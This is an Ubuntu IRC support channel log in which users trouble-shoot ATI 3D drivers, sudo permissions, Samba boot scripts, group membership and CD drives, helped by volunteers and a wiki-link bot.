[09:01] <Ebowles> NoUse, I've read that in order to get my ati working with 3d acceleration, I need to be on i386, but I have i686 right now
[09:02] <Tortel> i think the option to allow root login is on the users settings
[09:02] <NoUse> Ebowles I don't think thats right, I think they are referring to the general i386 architecture
[09:02] <NoUse> !ati
[09:02] <ubotu> extra, extra, read all about it, ati is https://wiki.ubuntu.com/BinaryDriverHowto/ATI
[09:02] <Tortel> but i cant acess it anymore
[09:02] <Subson1x> i tried to install mp3 support for amarok as described at http://www.ubuntux.org/node/32, but apt-get said gstreamer0.8-mad not found. what do i do wrong?
[09:02] <NoUse> Tortel allowing root login wouldn't be in user settings
[09:02] <Ebowles> NoUse, when I try to install the ati drivers, I get this  Unable to determine a compatible system architecture
[09:02] <Ebowles> The ATI Linux drivers only support AMD64 or X86 I386
[09:03] <t1m> does this mean I am forced to rename hundreds of files by hand? :/
[09:03] <Dr_Willis> i just use 'sudo passwd' to enable root to login - have had no ssues with that.
[09:03] <Tomcat_> Ebowles: That's the architecture... i386 and i686 are the same architecure - both 386.
[09:03] <Dr_Willis> t1m,  thers proberly some perl modules/scripts out to do what you need.
[09:03] <Ebowles> so why doesn't it work?
[09:03] <NoUse> Ebowles what kind of machine are you on?
[09:03] <Ebowles> its a 3.06 p4
[09:03] <Ng> Subson1x: look at the RestrictedFormats wiki page
[09:04] <nessmuk> !broken bios
[09:04] <ubotu> nessmuk: Are you on ritalin?
[09:04] <Ng> t1m: tried googling?
[09:04] <nessmuk> !bios
[09:04] <ubotu> Bugger all, i dunno, nessmuk
[09:04] <Subson1x> ng: thx
[09:04] <nessmuk> !flash
[09:04] <ubotu> hmm... flash is at https://wiki.ubuntu.com/RestrictedFormats
[09:04] <NoUse> Ebowles have you read the ATI Wiki page?
[09:04] <nessmuk> !flash bios
[09:04] <ubotu> nessmuk: Are you smoking crack?
[09:04] <Gnonthgol> Offtopic: (20:56:23) Madpilot: Opera is indeed giving away free reg - http://my.opera.com/community/party/
[09:05] <Ebowles> NoUse yes, I've tried almost everything
[09:05] <Ng> nessmuk: you generally can't flash bioses from within linux
[09:05] <nessmuk> !<flash bios>
[09:05] <ubotu> Wish i knew, nessmuk
[09:05] <t1m> Ng: it thought there might be a way to get utf8migrationtool to work since it's a special ubuntu software
[09:05] <Tortel> NoUse Tortel allowing root login wouldn't be in user settings <- I think there is a option under the advanced options
[09:05] <Bad_Magic> ^^
[09:05] <Bad_Magic> wish me luck
[09:05] <Bad_Magic> =x
[09:05] <Tortel> but the problem now is that i cant acess that
[09:05] <Tortel> or use sudo
[09:05] <NoUse> Tortel my point is that would be a system wide setting, so you should able to change it no matter who you are
[09:05] <nessmuk> do "broken bios" errors mean a problem with Hoary cd, or that we do need to flash the bios
[09:06] <Ng> t1m: I've not come across it, but I bet there are people out there working with unicode filenames who have scripts. failing that it might be quicker to write a perl script or something than do them by hand
[09:06] <NoUse> Ebowles which step is it failing on?
[09:06] <Ebowles> the first
[09:06] <Ebowles> thats what it says as soon as I run it
[09:06] <Ng> nessmuk: do you have a little more detail about the mesaage?
[09:06] <NoUse> Ebowles so apt-get fails?
[09:06] <XRange> does anyone have a Minolta 2430 DL working in Ubuntu with evolution. mozilla-firefox ?
[09:06] <Ebowles> I'm doing sudo sh ati_install.sh
[09:06] <Ng> nessmuk: I take it you're getting this before even installing?
[09:07] <Ng> XRange: have you set the printer up in the Printing administration tool? do test pages from there work?
[09:07] <nessmuk> Ebowles....yes....I can dig it up for you. Pretty common bios error that shows in a _lot_ of install probs....in google
[09:07] <NoUse> Ebowles you aren't looking at the ATI wiki page
[09:07] <NoUse> !tell Ebowles about ati
[09:07] <Ng> XRange: (I am right that the 2430 DL is a printer, right? ;)
[09:07] <Ebowles> NoUse, I've done those steps, they don't work for me
[09:07] <nessmuk> Ng...yes...it grows until I can't even access the bios
[09:07] <NoUse> Ebowles which of these steps doee it fail on?
[09:08] <Ebowles> none
[09:08] <XRange> yes I have and it works for OpenOffice but not in evolution are firefox
[09:08] <Ebowles> I can do them all perfectly
[09:08] <Ebowles> however, I still don't have 3d acceleration
[09:08] <Loki_VA> hi people
[09:08] <CarlFK> should I be concened that System, Netwoking, Modem, Autodetect finds my pci modem, but pppconfig doesn't?  (like is this some goofy modem, or bad rights, etc)
[09:08] <Ng> XRange: ah, that's odd. does it print anything at all?
[09:08] <Tortel> when i try and use sudo, it says "sudo: /ect/sudoersis mode 0775, should be 0440"
[09:08] <Loki_VA> has anyone got macosx installed on ubuntu sucessfully?
[09:08] <XRange> just test page and anything in OpenOffice
[09:08] <Tortel> ooooH!
[09:08] <Tortel> i know!
[09:08] <Loki_VA> for some reason the installer wont pick up my disk image to install to
[09:08] <Tortel> lol
[09:08] <NoUse> Ebowles don't know what to tell you
[09:09] <Loki_VA> i have been following..: http://pearpc.sourceforge.net/installmacos.html
[09:09] <XRange> Ng: it just want work for me in firefox are evolution
[09:09] <Ng> XRange: hmm, I'm not sure to be honest :/
[09:09] <thoreauputic> Loki_VA: not exactly - I use mac-on-linux on a dual boot iBook G4
[09:09] <Loki_VA> thoreauputic, nice
[09:09] <thoreauputic> LokeDK: ah pearpc - dunno
[09:09] <NoUse> Ebowles if you want to paste you xorg.conf file to pastebin I'll look at it
[09:10] <Loki_VA> yeah the mac cd starts but cant find my disk.img
[09:10] <Loki_VA> i have set it all in the conf...
[09:10] <t1m> yes, that did it: convmv --notest -r -f latin1 -t utf-8 *
[09:10] <Ebowles> NoUse http://www.linuxquestions.org/questions/showthread.php?s=&postid=1826816
[09:10] <Ebowles> the last post
[09:10] <XRange> Ng: is there a channel that migt be more up todate on this
[09:10] <Loki_VA> actually scratch that.. woot! found it ;)
[09:11] <NoUse> Ebowles  you sure you sent me the right link?
[09:11] <Madpilot> hi
[09:11] <Ebowles> NoUse, whats wrong with it?
[09:11] <Loki_VA> this should be interesting..
[09:11] <NoUse> Ebowles it has nothing to do with video drivers
[09:11] <XRange> is there a linux printer channel are cups channel
[09:12] <Madpilot> XRange: www.linuxprinting.org
[09:12] <Ebowles> uhhhh...
[09:12] <Ebowles> !pastebin
[09:12] <ubotu> it has been said that pastebin is a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl
[09:13] <Ebowles> NoUse, I put it in pastebin
[09:13] <OneSeventeen> I recompiled my linux kernel and now I cannot see the console (everything is black) but X starts, gdm runs just fine and I'm able to use the machine very well...
[09:13] <OneSeventeen> is there a way to get the console to display again?
[09:13] <XRange> i have read most docs all said openoffice would print but nothing on evolution are firefox
[09:13] <OneSeventeen> (is this a comon problem?)
[09:13] <Loki_VA> does anyone know the minimum size for a macosx install disk?
[09:13] <Loki_VA> i know this is waaay off topic..
[09:13] <NoUse> Ebowles and if you run lsmod you see fglrx?
[09:14] <Madpilot> XRange: check the linuxprinting forums? (and the Ubuntu ones, too...)
[09:14] <Ebowles> fglrx                 229568  0
[09:14] <sartas> hey hey?
[09:14] <NoUse> Ebowles you have an nforce2 chipset?
[09:15] <Ebowles> um, how do I check?
[09:15] <sartas> i want some help to set up Bitlbee on Ubuntu. I havent got ANY experience of Bitlebee
[09:15] <sartas> =)
[09:15] <NoUse> Ebowles lspci
[09:15] <deflux-> I just installed ubuntu, but it didn't ask for a root password.
[09:15] <NoUse> Ebowles also, did you run through the troubleshooting section of the wiki?
[09:15] <_syd__>  if i have a hard drive in the machine, and boot from the live cd, how do i view the files from the hard drive ?
[09:15] <deflux-> Is there a default root password for ubuntu when it's freshly installed?
[09:15] <Ebowles> NoUse, yes
[09:15] <Blissex> deflux-: no.
[09:16] <sartas> i want some help to set up Bitlbee on Ubuntu. I havent got ANY experience of Bitlebee
[09:16] <sartas> =)
[09:16] <thoreauputic> OneSeventeen: check your /etc/inittab  - I think you need some tty entries
[09:16] <sartas> PM me ^
[09:16] <sartas> *^^
[09:16] <OneSeventeen> deflux-: there isn't even a root account, as far as I know
[09:16] <NoUse> Ebowles yes to which?
[09:16] <thrush> deflux-, root account is disabled
[09:16] <Madpilot> in other news:  the greatest browser known to humankind is giving away free registration for it's 10th birthday: http://my.opera.com/community/party/
[09:16] <CarlFK> thoreauputic - im sad.  I can run pon/off as both user and root, but it just returns to the promt, no modem action
[09:16] <sartas> hey hey, help me please ^^
[09:16] <anachronism> Can someone recommend a mame-emulator for ubuntu, like with a gui? (thanks in advance)
[09:16] <thoreauputic> CarlFK: :(
[09:16] <Blissex> sartas: consider reading http://tinyurl.com/bz8v4 on how to ask questions...
[09:16] <Ebowles> NoUse, yes to doing the troubleshooter
[09:16] <thoreauputic> CarlFK: serial external modem?
[09:16] <Ebowles> NoUse, I don't see any nforce2 in there
[09:16] <lazzer> when i create a custom kernel i get devfs: unknown filesystem.. where can i find devfs in the kernelconfig?
[09:17] <CarlFK> thoreauputic - no, internal ISA
[09:17] <Madpilot> !tell deflux- about root
[09:17] <CarlFK> thoreauputic, but I have an external that I will try
[09:17] <NoUse> Ebowles ok, well check /var/log/xorg.0.log and see if there are any clues (errors are marked as EE)
[09:17] <anachronism> erm i meant "graphical front-end", not gui
[09:17] <thoreauputic> CarlFK: hmm - try the external and reconfigure with pppconfig
[09:17] <BrianDo> hey all
[09:17] <BrianDo> i have a serious problem
[09:18] <dreamie> hello
[09:18] <BrianDo> i lost my grub boot disk for getting into my ubuntu install
[09:18] <BrianDo> how can i make a new one
[09:18] <thoreauputic> CarlFK: all hardware external serial modems work with linux
[09:18] <BrianDo> i cant get into it at all
[09:18] <dreamie> how can i download a good dvd viewer for ubuntu
[09:18] <OneSeventeen> thoreauputic: it shows a list of 6 different items using getty to set up 6 different ttyp screens (or so it looks to a newbie like me)
[09:18] <BrianDo> so im on the live cd right now
[09:18] <CarlFK> thoreauputic - I was worried when pppconf didn't find the internal
[09:18] <lazzer> can someone help me on how to create a custom kernel.. that is bootable
[09:18] <thoreauputic> CarlFK: use the external and save yourself headaches
[09:19] <BrianDo> so im pretty stuck
[09:19] <Ebowles> NoUse, I found this (WW) fglrx: No matching Device section for instance (BusID PCI:6:0:1) found
[09:19] <CarlFK> thoreauputic - but it is only a 28k ;)
[09:19] <Madeye> ompaul, hmm How can I take screen shot of boottime?
[09:19] <NoUse> !kernelcompile
[09:19] <ubotu> You will probably find info about this at http://wiki.ubuntu.com/KernelCompileHowto
[09:20] <thoreauputic> CarlFK: ah
[09:20] <NoUse> Ebowles comment the BusID out of the Device section
[09:20] <NoUse> Ebowles in your conf file
[09:20] <dreamie> any software for dvds?
[09:20] <ompaul> Madeye, well a camera - or if ou are running Xen / UML or VMware  but what kind of text does it output?
[09:21] <anachronism> dreamie, you could try the xine-ui package
[09:21] <anachronism> dreamie, can i pm you?
[09:21] <Ebowles> NoUse, okay, I should restart now?
[09:21] <dreamie> yes anachronism
[09:21] <NoUse> Ebowles yeah
[09:21] <Ebowles> k brb
[09:22] <thoreauputic> OneSeventeen: did you have a special reason for recompiling the kernel?
[09:22] <BrianDo> anyone
[09:23] <Madeye> ompaul, it just display Acsii text, and it's not drawing, it sounds like the asci is over the boot text, so I can see some of the boot text
[09:24] <CarlFK> thoreauputic - but this is just a test box to figure out how to get this working, so even a 300 would be fine
[09:24] <ompaul> Madeye, without some of the text it could any one of thousands of programs
[09:25] <rcsarver> hello. does anyone have problems with cd ripping speeds in ubuntu?
[09:25] <nessmuk> Ng...Ebowles...I want to put the mobo back in to reproduce the
[09:26] <haasteem> hi, i want to eject a cd from my cd-rom drive but it doesn't let me. It says that it's unable to elject media and that the device is busy... but it's not, how can i solve this problem?
[09:26] <NoUse> haasteem are you trying to eject it through gnome?
[09:26] <haasteem> uhhh... i think so, on the desktop
[09:27] <Madeye> ompaul, hmm ok it is in ubuntu repository that what i can remember
[09:27] <NoUse> haasteem ok, open a console and run 'sudo fuser -v  /dev/cdrom' or whatever you CD-ROM device is
[09:27] <nessmuk> Ng...Ebowles...I want to put the mobo back in to reproduce the error, but have to figure out some cables...can't find where I wrote the error down. One question...is there an issue with the Hoary cd having probs with older bios or some cd drives?
[09:27] <ompaul> Madeye, it is one of 16,000 programs one needs a little bit of a clue
[09:28] <haasteem> NoUse, what does this do?
[09:28] <NoUse> haasteem it shows you what program is using the drive
[09:28] <haasteem> right
[09:28] <Ebowles> NoUse - still nothing
[09:28] <NoUse> what do the logs say?
[09:29] <Madeye> ompaul, indeed, i'm trying to find out how can I give a clue, is there anyway to list applications that run at bootup time ?
[09:29] <BrianDo> is there anyone here that can help me?
[09:29] <Frafra> what i must do for install the driver for a winmodem?
[09:30] <haasteem> NoUse, it gives no output...
[09:30] <Ebowles> NoUse (--) Assigning device section with no busID to primary device
[09:30] <Ebowles> (WW) fglrx: No matching Device section for instance (BusID PCI:6:0:1) found
[09:30] <Hurga> haasteem: I have the same problem, on the command line
[09:30] <NoUse> haasteem might just be something got screwed up, you might need to reboot
[09:30] <kemik> omg Breezy will truly rock
[09:31] <asdx> I have a user on ubuntu hoary. That user don't have to do administrative stuff. How can I configure for asking me the root password every time I open a root terminal for example?
[09:31] <Hurga> NoUse: BRB, rebooting
[09:31] <haasteem> darn
[09:31] <NoUse> Ebowles google around, I'm not sure what that means, if you can pinpoint what BusID for that card is you can put it in your conf file
[09:31] <NoUse> Ebowles and I advice next time getting an Nvidia :-)
[09:32] <asdx> can someone answer my question plz...
[09:32] <NoUse> !anyone
[09:32] <ubotu> rumour has it, anyone is 90% of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and YOU decide? <hint>
[09:33] <Madpilot> NoUse: that's a great ubotu blurb, I'll have to remember it... ;)
[09:33] <NoUse> Madpilot ;-)
[09:33] <jajce> i am trying to install ubuntu intel536EP driver
[09:33] <Madpilot> !tell NoUse about ask
[09:34] <CarlFK> asdx - do you want the user to be able to do root things?
[09:34] <Madpilot> later, everyone - got to go to work - in the rain - blah... ;)
[09:34] <BOBNIX> hello
[09:34] <BOBNIX> all
[09:34] <asdx> I just need to configure GNOME for asking my root password every time I need to do some administrative stuff
[09:34] <Frafra> jajce: i must install it :)
[09:34] <BrianDo> I can't seem to make a boot floppy from the Ubuntu Live CD so that I can reaccess my Ubuntu Partition. How would I go about doing that?
[09:34] <asdx> CarlFK: yeah
[09:34] <BOBNIX> how to use webcam in ubuntu
[09:34] <BOBNIX> pls help me
[09:34] <jajce> and when I type: make install I get: unknown distribution. no boot scripts installed
[09:34] <CarlFK> asdx - add that user to /etc/suders
[09:34] <jajce> so, what can I do? ?
[09:34] <asdx> CarlFK: ko
[09:34] <asdx> CarlFK: ok
[09:34] <asdx> CarlFK: thx
[09:34] <rcsarver> how do you speed up cdrom drives? my drive rips @ 2.5x!
[09:35] <jajce> NoUse  ?
[09:35] <BOBNIX> helll all
[09:35] <BOBNIX> who know how to use webcam in linux
[09:35] <NoUse> jajce I don't know
[09:35] <BOBNIX> hello
[09:35] <BOBNIX> hello
[09:35] <BOBNIX> hello
[09:35] <BOBNIX> hello
[09:35] <NoUse> BOBNIX stop
[09:35] <jajce> NoUSe : i know . i am kevac
[09:35] <Seveas> he stopped
[09:36] <NoUse> Seveas haha
[09:36] <Madeye> guys, how to list applications that run on bootup time /
[09:36] <jajce> kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
[09:36] <NoUse> is it moron day? I missed the memo
[09:36] <Seveas> Madeye, use bum or look at /etc/rc*.d
[09:36] <puff> Afternoon.  Is there anything I can do to speed up the boot up process on my laptop?
[09:36] <Seveas> NoUse, it's been moron day for a few days already (spambots)
[09:37] <Loki_VA> how do i manually set a dns in resolv that will stick from a dhcp setup.. ie in fedora i change the sysconfig for eth0 to have PEERDNS=no...
[09:37] <puff> Seveas: Speaking of that, I'm an IRC newbie, but I remember the other day, when I connected, being advised to run some IRC command to keep the spambots away.
[09:37] <Seveas> Loki_VA, /etc/dhcp3/dhclient.conf
[09:37] <Madeye> Seveas, the first boot after grup loading is init 6? aka rc6?
[09:37] <puff> OH, there it is, in the topic:  /umode +CE
[09:37] <Loki_VA> thanx
[09:37] <anacaona> hello hello all.
[09:37] <puff> Hm... *** umode: Unknown command
[09:37] <Seveas> make sure it does not request domain-name-servers
[09:38] <anacaona> i'm having problems with samba, an annoyance really.
[09:38] <Seveas> and edit /etc/resolv.conf or add a line saying: prepend domain-name-servers your_servers_here
[09:38] <Seveas> to /etc/dhcp3/dhclient.conf
[09:38] <anacaona> it doesn't want to launch on boot, and i've tried to set it up in boot up manager and its not listed as a daemon.
[09:38] <Seveas> puff, /mode puff +CE
[09:39] <ivoks> anacaona: ls -dl /etc/rc2.d/*samba*
[09:39] <puff> Seveas:  Thanks.  Twice.
[09:39] <puff> Seveas: (Assuming the domain name server suggestion was in answer to my boot up question)
[09:39] <Seveas> Madeye, no
[09:39] <Seveas> first runlevel is 1 (single user)
[09:40] <puff> (come to think of it, looks like that was answering Loki_VA's question).
[09:40] <noobuntu> I have a problem with Gnome: I installed kdebase (for Konquerer) and after a reboot Gnome no longer works -- GDM shows the login screen but after logging in all I get is a blank desktop with a cursor
[09:40] <Seveas> second and final runlevel (on debian systems) is 2
[09:40] <Seveas> 0 is shutdown
[09:40] <asdx> CarlFK: I already added to /etc/sudoers but I get "Failed to run /usr/bin/x-terminal-emulator: Child process ended with state 1" or something.
[09:40] <Seveas> 6 is reboot
[09:40] <puff> But I've noticed it seems to hit a longish delay during bootup, right after/at the line about dhclient.
[09:40] <Loki_VA> all done thanx Seveas
[09:40] <noobuntu> Even safe-mode Gnome doesn't work ... only KDE and Safe Mode (xterm) work
[09:40] <CarlFK> asdx - um. then you did something wrong ;)
[09:41] <cemc> re
[09:41] <Seveas> puff, yeah, it waits for a dhcp ack (or timeout)
[09:41] <asdx> CarlFK: I just added "user" at the end
[09:41] <CarlFK> asdx - yes, you did something wrong ;)
[09:41] <asdx> CarlFK: hrm
[09:41] <CarlFK> asdx - look at the existing lines
[09:41] <asdx> CarlFK: ok :P
[09:41] <asdx> CarlFK: brb
[09:41] <anacaona> ivoks:  /etc/rc2.d/K09samba -> /samba
[09:41] <Hurga> Re
[09:41] <cemc> question... if i create a hda1 primary partition, then an extended partition that's the max size of the remaining disk, it should stay that way, no?
[09:42] <ivoks> anacaona: see, that's not good... which ubuntu is that?
[09:42] <cemc> after that i can create logical partitions in that extended area
[09:42] <noobuntu> I'm running Ubuntu 5.04 -- is there an easy way to get back my Gnome desktop?
[09:42] <supton> gnome-vfs in hoary is killing me... anyone know a way to get gedit and other apps to open files on network volumes read/write?
[09:43] <anacaona> ivoks: i know, it looks like its killing samba on boot! hoary from dvd
[09:43] <puff> Seveas: So setting my DNS explicitly would help avoid that extra delay during boot.  Any other suggestions?
[09:43] <FlangeR> Hi all, Q: I've tried getting my usb palm using directions from ubuntuguide, but thusfar no luck. Where can I get additional info on how to set it up?
[09:43] <Seveas> puff, no that won't avoid that
[09:43] <Hurga> If I try to use cdrecord with my IDE CD writer, it hangs, can't get it back, need to reboot. Is that a known problem?
[09:44] <cemc> puff: you need dhcp ?
[09:44] <ivoks> anacaona: sudo ln -s /etc/init.d/samba /etc/rc.2/S91samba
[09:44] <puff> Seveas: Drat.
[09:44] <rcsarver> exit
[09:44] <puff> cemc: Yeah, I'm on various networks throughout the day.
[09:44] <puff> Though I prefer static configuration.
[09:45] <anacaona> thanks ivoks. any clue why it wasn't showing up in bum?
[09:45] <_syd__> im booted from a live cd, how do i view my hard drives contents ?
[09:45] <puff> I'm still trying to figure out what's up with my disappearing and reappearing wireless...
[09:45] <anacaona> ... or why the scripts were so weird?
[09:45] <Seveas> thoreauputic, around?
[09:45] <hmrocha> hello
[09:45] <anacaona> ooh. almost forgot.
[09:45] <thoreauputic> Seveas: yup
[09:46] <anacaona> ivoks and anyone else who can help.
[09:46] <ivoks> anacaona: dont't know what bum is
[09:46] <Seveas> thoreauputic, CC meeting in 15 minutes :)
[09:46] <thoreauputic> Seveas: I'm in #ubuntu-meeting already :)
[09:46] <anacaona> boot um manager, its a service gui.
[09:46] <anacaona> boot up, sorry.
[09:46] <thoreauputic> Seveas: thanks for the reminder though :)
[09:46] <anacaona> another MAJOR annoyance.
[09:46] <puff> Basically, I upgraded my kernel, and then my wireless card disappeared.  After much puzzling, with advice from here and ##linux I did a --reinstall of the linux-image so my modules would match the kernel, and the wireless card reappeared after I rebooted.
[09:46] <cemc> any ideas, why this isn't working?: root@andi:/mnt # mount -t smbfs //172.16.21.1/stuff samba
[09:46] <hmrocha> i have hundreds of users in the group "students", how can i add all of them to the group plugdev? (easily)
[09:46] <anacaona> i'm running ubuntu on my fileserver.
[09:47] <anacaona> and for some reason it refuses to be on the Internet and the local network at the same time.
[09:47] <cemc> hmrocha: you edit /etc/groups ?
[09:47] <_syd__> cemc:  the space in 'samba stuff'
[09:47] <puff> And then I did suspend-to-disk, and resumed, and the wireless card disappeared again.
[09:47] <cemc> hmrocha: /etc/group
[09:47] <hmrocha> cemc, that would not be easy
[09:47] <puff> Did --reinstall and rebooted, it reappeared.  Went through the cycle one more to test.
[09:47] <hmrocha> cemc, i'll have to add 1200 users after the word "plugdev"
[09:47] <cemc> hmrocha: select+copy+paste?
[09:47] <ivoks> anacaona: ?
[09:48] <hmrocha> cemc, all users are stored in AD
[09:48] <puff> Where do I enter a ubuntu bug?
[09:48] <hmrocha> cemc, i can't copy paste
[09:48] <anacaona> ie, if i dial up i can't ping outside.
[09:48] <cemc> hmrocha: i see... can you get a list of thouse users in a text file or something ?
[09:48] <cemc> those*
[09:48] <noobuntu> hello, could anyone please help with my Gnome problem? My Gnome session just shows a blank screen with cursor; KDE and xterm sessions work
[09:48] <cemc> hmrocha: then add it with a script
[09:49] <ivoks> anacaona: your routes get messed
[09:49] <hmrocha> cemc, i can create a scripts that searches /home for all students
[09:49] <cemc> _syd__: that's mount -t type what where
[09:49] <cemc> _syd__: no?
[09:49] <hmrocha> *script
[09:49] <puff> Ah, http://www.ubuntulinux.org/support/bugs
[09:50] <cemc> hmrocha: all the users in the /home you want to put in that group ?
[09:50] <FlangeR> Anyone know how I can get my usb-palm working if ubuntuguide's directions don't work?
[09:50] <hmrocha> cemc, no, only the students, but i have a way of knowing which users are students
[09:51] <cemc> hmrocha: so, you can create a text file, no ?
[09:51] <cemc> hmrocha: with all the users in it
[09:51] <hmrocha> cemc, yes, i think i can
[09:51] <anacaona> yeah, i tried to reset the default route but it doesn't work.
[09:51] <anacaona> route add default ppp0
[09:51] <hmrocha> cemc, i just thought there would be a better way, instead of adding 1200 usernames in front of the plugdev group
[09:53] <Hurga> Is someone here using cdrecord with Ubuntu?
[09:54] <joachimaa> hi there. i wondering which package network-admin belongs to, since i'd like to update this to the hoary-version (i'm running warty). if that would be possible?
[09:54] <cemc> hmrocha: try this:
[09:54] <cemc> hmrocha: echo -n "plugdev: "; cat foo.txt | awk -v ORS=, '{print $1}' | sed s/,$//g
[09:54] <cemc> hmrocha: where foo.txt contains the list of usernames
[09:54] <cemc> then you do a >> /etc/group :)
[09:54] <hmrocha> cemc, cool one-liner :D
[09:55] <Snadder> hi.. how can I use debian apt archives for ununtu?
[09:55] <NoUse> Snadder you don't
[09:55] <hmrocha> cemc, awk '{print $1}' is not enough?
[09:55] <Snadder> I heard someone talking about "universe" and "multiverse" for that?..
[09:55] <cemc> hmrocha: well, it's not the most sophisticated way, but it's working
[09:55] <hmrocha> cemc, why the -v ORS=,
[09:55] <Snadder> NoUse, I heard it was possible.. but not recommended
[09:56] <Snadder> NoUse, all I want.. is more packages.. debian got lots more
[09:56] <cemc> hmrocha: ORS = output record separator
[09:56] <hmrocha> cemc, ok :)
[09:56] <cemc> hmrocha: default that's a newline
[09:56] <cemc> hmrocha: but you want ","
[09:56] <hmrocha> cemc, yes, i understand
[09:57] <HappyFool> snadder: take a look at the adding repositories page on the wiki
[09:57] <HappyFool> !tell snadder about repos
[09:58] <topyli> i just blogged about my breezy upgrade. perhaps someone might be interested in someone else's experience: http://www.livejournal.com/users/topyli/
[09:58] <topyli> (i'm not urging anyone to upgrade really)
[09:58] <wasabi> Anybody successfully use evolution-exchange? I can't figure out how to set the thing up.
[09:58] <sm> hi.. can anyone recommend a nice download manager that does http/ftp with resume ? other than gftp
[09:59] <wasabi> it has no entry field for my exchange server info.
[09:59] <hmrocha> cemc, there should be a better way to handle this kind of thing
[10:00] <cemc> hmrocha: i'm sure there is, but i don't know any
[10:00] <hmrocha> cemc, i just want all students to be able to automatically mount their usb disks
[10:00] <NeoFax> sm: Do you mean like Flash-get?
[10:00] <sm> I'm not sure
[10:01] <sm> yes
[10:01] <cemc> what's the name of that tool for enabling/disabling thing in rcX.d ?
[10:01] <sm> I'd be happy if firefox simply resumed
[10:01] <NeoFax> sm: Have you tried prozilla or d4x?
[10:01] <cemc> sm: wget -c ?
[10:01] <sm> other than wget -c
[10:01] <cemc> :)
[10:01] <ivoks> cemc: update-rc.d
[10:01] <rob_p> cemc:  update-rc.d
[10:01] <sm> no, I'll check those
[10:02] <NeoFax> I think you can even use Firefox's flashgot addin with d4x
[10:02] <rob_p> :-)
[10:02] <bimberi> sm: another is "aria"
[10:02] <kertrats> hey, I'm at a loss and about to sound stupid
[10:02] <NeoFax> Also, kget if you are using konqueror/kde
[10:02] <kertrats> how do I install a package if it's not listed in Synaptic?
[10:02] <sm> glashgot, aria, kget, ok
[10:02] <sm> flashgot
[10:03] <sm> thanks all
[10:03] <cemc> ivoks, rob_p: i want a process to not start on startup
[10:03] <sm> isn't there a gnome one ?
[10:03] <darkheart> !tell kertrats about repositories
[10:03] <cemc> but i don't want to remove the script entirely
[10:03] <NeoFax> cemc: Have you tried bum?
[10:03] <ivoks> cemc: rm /etc/rc2.d/*programname*
[10:03] <NeoFax> Search for it on the forums.
[10:03] <rob_p> cemc:  update-rc.d -f your_app remove
[10:04] <rob_p> cemc:  The script will remain in /etc/init.d but will be removed from rcX.d
[10:04] <cemc> rob_p: the man says that the script /etc/init.d/*progname* should be removed first
[10:04] <cemc> " The
[10:04] <cemc>        script  must  have  been deleted already - update-rc.d checks for this."
[10:04] <cemc> if i understand it correctly
[10:04] <rob_p> cemc:  That's if you want to remove it entirely instead of just disabling it on startup
[10:05] <NeoFax> cemc: Don't do that unless you want to remove the package and reinstall or re-write the script
[10:05] <cemc> i don't want to do that,
[10:05] <cemc> i just want to _disable_ it
[10:05] <Kyral> !php
[10:05] <ubotu> [php]  in the package libapache2-mod-php4 (apache) or php4-cli (command line)
[10:05] <cemc> so that it wont run on next startup,
[10:05] <Kyral> ...I meant on how to install it
[10:05] <cemc> i thought there's a nicer way than rm :)
[10:05] <unvs_> ohh gnome 2.12 looks peachy
[10:05] <rob_p> cemc:  just use the update-rc.d tool then :-)
[10:06] <unvs_> *finally* real antialiasing with cairo
[10:06] <NeoFax> cemc: rob_p and ivoks are correct, you just have to remove it from the inits you don't want it running.  BUM is a GNOME graphical SysV init editor.
[10:06] <bimberi> !bum
[10:06] <ubotu> extra, extra, read all about it, bum is a graphical BootUp Manager; see http://www.marzocca.net/linux/bum.html
[10:07] <ivoks> cemc: could it be nicer and easier than rm? :)
[10:07] <NeoFax> There is also KsysV for KDE
[10:07] <cemc> ivoks: :)
[10:07] <cemc> root@andi:/etc/rc2.d # update-rc.d -n samba remove
[10:07] <cemc> update-rc.d: /etc/init.d/samba exists during rc.d purge (use -f to force)
[10:07] <cemc> -f
[10:07] <NeoFax> ivoks: None nicer than cli goodness.
[10:07] <cemc> that' sit
[10:07] <cemc> that's it
[10:07] <kertrats> darkheart, thanks
[10:08] <LokeDK> Hi. http://ubuntuforums.org/showthread.php?t=61138 could anyone please help me?
[10:08] <cemc> rob_p: thx
[10:08] <rob_p> cemc:  np :-)
[10:08] <cemc> it's a bit strange this -f,
[10:08] <cemc> but whatever :)
[10:08] <NeoFax> Finally got Usplash working in breezy today.  Anyone know how to change out the default background?
[10:08] <CPD|nons_> hey, I got a question, how can I find out if my windows XP runs on a NTFS or a FAT partition?
[10:08] <Ebowles> !ati
[10:08] <ubotu> ati is probably https://wiki.ubuntu.com/BinaryDriverHowto/ATI
[10:09] <NeoFax> CPD|nons_: Wouldn't a parted tell you that?
[10:09] <Hurga> is reall no one here burning CDs??
[10:10] <ivoks> Hurga: no, we burn DVDs
[10:10] <CPD|nons_> err? what do you mean
[10:10] <ivoks> and for small date, we use floppy
[10:10] <Hurga> ivoks: so DVD burners don't hang when accessed with cdrecord?
[10:10] <NeoFax> Do you have parted installed on your system?(I am assuming you are dual booting)
[10:11] <ivoks> Hurga: first sound of cdrecord hanging
[10:11] <ivoks> Hurga: never happend to me, what did you do?
[10:11] <CPD|nons_> I have nothing installed yet since I am following the FAQ and that say if NFTS -> do that, if FAT -> do this, so I first need to know which my system is formatted with
[10:11] <NeoFax> Hurga: Try starting your burner from the cli, like graveman &.  It should give you some errors.
[10:12] <Hurga> ivoks: researchign the web, I found some who had the problem, no fix though
[10:12] <Hurga> NeoFax: I use cdrecoed as root on the command line. Gives some output, than hangs, need to reboot to get rid of the load
[10:12] <ivoks> Hurga: reboot to get rid of the load?
[10:13] <NeoFax> CPD|nons_: Grab a copy of KNOPPIX and check with that.  Or, boot into windows and check the filesystem by checking the properties of the C:\ drive
[10:13] <ivoks> so, you've been using linux for 3-4 days?
[10:13] <Hurga> ivoks: system load goes up to about 2
[10:13] <CPD|nons_> ah, thanks :)
[10:13] <sm> kget almost works beautifully in gnome.. just can't drag from firefox
[10:13] <ivoks> Hurga: so kill cdrecord then, don't reboot man :)
[10:14] <bobbyd> one of my ubuntu machindes no londer sets the defualt gateway, when I try to set it usinf the GUI configuration tool, it crashes, any ideas?
[10:14] <Hurga> ivoks: doesn't work.
[10:14] <NeoFax> bobbyd: What does route say?
